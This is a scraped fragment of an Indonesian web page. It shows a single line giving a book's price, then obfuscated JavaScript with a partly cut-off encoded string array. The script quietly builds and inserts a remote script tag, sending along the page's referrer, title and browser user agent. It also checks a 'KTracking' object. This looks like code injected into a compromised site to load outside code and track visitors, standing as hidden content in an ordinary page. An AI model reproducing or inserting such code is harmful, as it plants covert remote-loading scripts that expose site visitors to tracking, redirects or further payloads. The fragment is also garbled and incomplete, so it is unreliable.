Harga Buku, Rp. 100.000,- belum termasuk biaya pengiriman \x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}